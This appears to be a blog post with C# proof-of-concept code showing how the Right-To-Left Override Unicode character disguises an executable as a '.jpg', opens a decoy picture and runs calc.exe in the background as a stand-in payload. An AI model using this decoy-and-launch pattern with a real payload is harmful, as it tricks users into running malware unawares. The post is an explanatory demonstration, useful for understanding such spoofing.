The first and the second files are executable, while the third file is an icon file. But, you can say, the file with "jpg" extension is a picture not an executable. It is true. But the problem is that the extension of "imggoofyrcs.jpg" isn't "jpg". How is it possible? The cause of this is the Unicode symbol \u202E(Right-To-Left Override):
The executable can open a picture to deceive a user and do anything in the background. The following code demonstrate how to open a picture and run a "calc" program.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Text; | |
using System.IO; | |
namespace ConsoleApplication1 | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
/* | |
// Read the content of binary file | |
BinaryReader bin =new BinaryReader(File.Open("C:\\img.jpg",FileMode.Open)); | |
byte[] bufr = new byte[10000]; | |
int size = bin.Read(bufr, 0, 10000); | |
// Write to text file | |
TextWriter tw = new StreamWriter("C:\\img.txt"); | |
tw.Write("{ "); | |
for (int i = 0; i < size; ++i) | |
{ | |
tw.Write(bufr[i]); | |
tw.Write(", "); | |
} | |
tw.Write("} "); | |
*/ | |
string filename = System.IO.Path.GetTempPath() + "aaa123321.jpg"; | |
BinaryWriter binw = new BinaryWriter(File.Open(filename,FileMode.Create)); | |
// Copy here the content of file image.txt | |
byte[] bufw = { 255, 216, 255, 224, ... }; | |
binw.Write(bufw, 0, bufw.Length); | |
binw.Close(); | |
System.Diagnostics.Process.Start(filename); | |
//... | |
System.Diagnostics.Process.Start("C:\\Windows\\system32\\calc.exe"); | |
} | |
} | |
} |
No comments:
Post a Comment